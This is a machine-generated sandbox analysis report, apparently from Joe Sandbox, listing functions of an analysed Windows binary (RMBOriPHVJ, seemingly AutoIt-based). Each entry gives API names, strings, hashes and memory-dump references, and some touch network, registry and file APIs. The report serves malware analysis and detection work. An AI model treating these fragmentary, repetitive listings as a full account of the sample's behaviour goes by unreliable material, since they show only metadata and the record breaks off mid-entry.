                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                          • String ID:
                                                          • API String ID: 146765662-0
                                                          • Opcode ID: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
                                                          • Instruction ID: e068db2fb1bf768eebdf0fc2a8e8231b3cf2f75d7eb692a5de860c8b9645c7df
                                                          • Opcode Fuzzy Hash: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
                                                          • Instruction Fuzzy Hash: C4F0AC25BA5A0182EB04FF76E85402AA365FF88FB5B645171CD1F873A4CE3CD496C310
                                                          Function 00007FF787C0CDF0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 233COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharLowerBuffW.USER32(?,?,?,?,00000003,00000000,?,00007FF787C0BF47), ref: 00007FF787C0CE29
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: BuffCharLower
                                                          • String ID: cdecl$none$stdcall$winapi
                                                          • API String ID: 2358735015-567219261
                                                          • Opcode ID: 02b910466ee187c44740fa94090c75d71f2fbf299a4025593c27fff920242e11
                                                          • Instruction ID: 61a3b6cbb1958ca7d424a6d68ab7b0790f4bebf433cea2c889254835b57facf2
                                                          • Opcode Fuzzy Hash: 02b910466ee187c44740fa94090c75d71f2fbf299a4025593c27fff920242e11
                                                          • Instruction Fuzzy Hash: F191F622B5861282EB64AF29C4405B9A3A9BF14795BF04131DE2F937C4DF3DE953D3A0
                                                          Function 00007FF787C06920 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 212COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                          • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                          • API String ID: 4237274167-1221869570
                                                          • Opcode ID: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
                                                          • Instruction ID: b6df8045411d6df60a02a16b5d24400ca82a2ada38a65a6942044c5856dd60d2
                                                          • Opcode Fuzzy Hash: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
                                                          • Instruction Fuzzy Hash: 7E91AD36B88B4286EB10FF65D0402ADB369FB49B98BA44432DE4F57755DF38E406C360
                                                          Function 00007FF787BE0EAF Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetForegroundWindow.USER32 ref: 00007FF787BE0EDB
                                                            • Part of subcall function 00007FF787BE0B90: CharUpperBuffW.USER32(?,?,00000001,00007FF787BE0F61), ref: 00007FF787BE0C6A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: BuffCharForegroundUpperWindow
                                                          • String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
                                                          • API String ID: 3570115564-1994484594
                                                          • Opcode ID: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
                                                          • Instruction ID: 9dd0e66b5c394aedb03caa36373dce1e4a57ace2925785aa446fe1eeeda218c7
                                                          • Opcode Fuzzy Hash: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
                                                          • Instruction Fuzzy Hash: 3371AF33B88A4681EAA4BB65D4012B9E6A3BF54784FF44431CA1F86395EE3CE546C320
                                                          Function 00007FF787BE9898 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 127COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: BuffCharUpper
                                                          • String ID: APPEND$EXISTS$KEYS$REMOVE
                                                          • API String ID: 3964851224-769500911
                                                          • Opcode ID: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
                                                          • Instruction ID: c57447aa3836ec4b366f7db981015b54440d62480dbfbf583096607e767f1581
                                                          • Opcode Fuzzy Hash: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
                                                          • Instruction Fuzzy Hash: A641F737B59A1341EB606F658444179E69ABF34BD0BA40631CA6F83784EE3DE94BC321
                                                          Function 00007FF787BEB62C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95filestringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: FileFullNamePath$MoveOperationlstrcmpiwcscat
                                                          • String ID: \*.*
                                                          • API String ID: 3196045410-1173974218
                                                          • Opcode ID: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
                                                          • Instruction ID: 223bafc9f745ffa9e126a6381b7e14ceee959b4acfa5869dac37f1b6ad95b4e4
                                                          • Opcode Fuzzy Hash: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
                                                          • Instruction Fuzzy Hash: 13415432A5864395EB20EB24D8405FEAB65FF94788FE00035DA4E53B99EF28D60BC750
                                                          Function 00007FF787BFD914 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                          • String ID:
                                                          • API String ID: 3113390036-3916222277
                                                          • Opcode ID: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
                                                          • Instruction ID: d10ffa821b487189c92a39387e4655659f8a7a8b8a94ed848e0b05fae43b0c65
                                                          • Opcode Fuzzy Hash: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
                                                          • Instruction Fuzzy Hash: C531C632A5D68242FB60EF11A464A7EAB56FB84B80FA45131EF4E17B55DE3CD403CB10
                                                          Function 00007FF787C193E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowlibraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                          • String ID: SysAnimate32
                                                          • API String ID: 4146253029-1011021900
                                                          • Opcode ID: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
                                                          • Instruction ID: 61ec66f0bcf578cefc1dc28652fa4428edda71894248fe3f715f91c061bed665
                                                          • Opcode Fuzzy Hash: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
                                                          • Instruction Fuzzy Hash: 0E31A332608BC1CAE7A0DF24E45476AB3A4FB85B90FA44235DA5E07B94DF3CD441CB20
                                                          Function 00007FF787B99164 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AddressFreeHandleLibraryModuleProc
                                                          • String ID: CorExitProcess$mscoree.dll
                                                          • API String ID: 4061214504-1276376045
                                                          • Opcode ID: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
                                                          • Instruction ID: 691a1a21c209cd67def2560dc9377aeaa1e5394648a734ab987cbd6325f39e57
                                                          • Opcode Fuzzy Hash: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
                                                          • Instruction Fuzzy Hash: C9F04F21A69B42D5EF84AB11F484379A7A5FF88B90FE81035E91F47664DF3CD48AC720
                                                          Function 00007FF787BB89B4 Relevance: 7.8, APIs: 5, Instructions: 265COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d6766d34bed599dda17ebb10c73db4c3446d583c55f8816c021d3ca08d462008
                                                          • Instruction ID: 2690a79787da6f91a15d01da2523a3b0e5774bbf7bf9d9e58310f9717cc2cad2
                                                          • Opcode Fuzzy Hash: d6766d34bed599dda17ebb10c73db4c3446d583c55f8816c021d3ca08d462008
                                                          • Instruction Fuzzy Hash: D6A1C772A4978245EB21AF6194903B9EA92BF007A4FE44635DE1F077C5DF3CE446C3A8
                                                          Function 00007FF787C045A4 Relevance: 7.8, APIs: 5, Instructions: 250networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorLasthtonsinet_ntoa
                                                          • String ID:
                                                          • API String ID: 2227131780-0
                                                          • Opcode ID: bd5e1163d7a9b305c8aebbe74614b584ebe830359c93ecb63b9e7e3e647e6822
                                                          • Instruction ID: 78f8ee9aeacbcf35faaf6e6b8424cdedc82ff0c5ba6097bfcf76397fcff84132
                                                          • Opcode Fuzzy Hash: bd5e1163d7a9b305c8aebbe74614b584ebe830359c93ecb63b9e7e3e647e6822
                                                          • Instruction Fuzzy Hash: 93A1E232A4868286DB10FB2AD4506BEAB96FF85BD5FA04531DA0F4B795DE3CD102C760
                                                          Function 00007FF787C0E838 Relevance: 7.7, APIs: 5, Instructions: 207COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Process$CloseCountersCurrentHandleOpen
                                                          • String ID:
                                                          • API String ID: 3488606520-0
                                                          • Opcode ID: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
                                                          • Instruction ID: 311e8890aaf35ef88ceb1139aa014090134684fa7b44c890b36f13687166390b
                                                          • Opcode Fuzzy Hash: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
                                                          • Instruction Fuzzy Hash: 2281AE32B4869186EB14FF26C4546ADABA5BB48FD4FA48035DE0E1BB96CF38D402C350
                                                          Function 00007FF787BAED08 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
                                                          • Instruction ID: d8f428353737cda011ae98a4628be248008b49ae604df6d143c9b0df84bc1eea
                                                          • Opcode Fuzzy Hash: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
                                                          • Instruction Fuzzy Hash: 2281D232A9A61285F762BB2694812BDEAA2BB44B44FE44135DD0F576E5CF3CA407C730
                                                          Function 00007FF787C102DC Relevance: 7.7, APIs: 5, Instructions: 159registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                          • String ID:
                                                          • API String ID: 3451389628-0
                                                          • Opcode ID: ea71e9f73f70926a53419fade0107dc191ca266b6e1703fbb57f8f6819cd1ab3
                                                          • Instruction ID: 3a472f533023f9aab3d6931fcd9d6efd01cfccd7e891e1a6574547d941f6233a
                                                          • Opcode Fuzzy Hash: ea71e9f73f70926a53419fade0107dc191ca266b6e1703fbb57f8f6819cd1ab3
                                                          • Instruction Fuzzy Hash: 75718232B58A428AEB10EF65D0903FC7771FB84B98F918531DA0E5BA96DF38D146C364
                                                          Function 00007FF787BAE67C Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
                                                          • String ID:
                                                          • API String ID: 3659116390-0
                                                          • Opcode ID: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
                                                          • Instruction ID: 38ca87a97424faa02394f66a0b4834e757e4b9d1fec31f75a61d0ff4b5b0677e
                                                          • Opcode Fuzzy Hash: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
                                                          • Instruction Fuzzy Hash: A551C132A15A5189E711EB26E4843ADBBB1FB44B98FA48135CE4E477A8DF38D146C720
                                                          Function 00007FF787BE670C Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Variant$Clear$ChangeInitType
                                                          • String ID:
                                                          • API String ID: 4136290138-0
                                                          • Opcode ID: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
                                                          • Instruction ID: c67c0c168da1c8e375207b6af377bce1d6cf902bae8d93569f010f75dd1b74f8
                                                          • Opcode Fuzzy Hash: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
                                                          • Instruction Fuzzy Hash: D3517733624A45D2DB50DF15E4887AD77B5FB84B84F928222CB4E83764EF39E459C710
                                                          Function 00007FF787BB2998 Relevance: 7.6, APIs: 5, Instructions: 133COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
                                                          • Instruction ID: b3453e5fbaa696615d0a4b50e3eb13bbadb63313c1abeef28d38a16fc309ac46
                                                          • Opcode Fuzzy Hash: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
                                                          • Instruction Fuzzy Hash: 67518F3265868285EA70AF6194801B9FA96FF44BA0FF44235EE6A476D4DF3CE482C314
                                                          Function 00007FF787BF96A8 Relevance: 7.6, APIs: 5, Instructions: 128COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: PrivateProfile$SectionWrite$String
                                                          • String ID:
                                                          • API String ID: 2832842796-0
                                                          • Opcode ID: 95fb2e0a0683671ba085f2766c906dafb1032fc97baa3117c4aba2321f0fd2dc
                                                          • Instruction ID: aabb1cb00fc170d8f5659f05befab08dbe5a93e40885f0d60b0dc880d59f31d2
                                                          • Opcode Fuzzy Hash: 95fb2e0a0683671ba085f2766c906dafb1032fc97baa3117c4aba2321f0fd2dc
                                                          • Instruction Fuzzy Hash: 70511D36658A4682DB14EF2AE49016ABB61FB88FD4FA49432EF8E47765CF3CD441C710
                                                          Function 00007FF787BF3824 Relevance: 7.6, APIs: 5, Instructions: 89windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
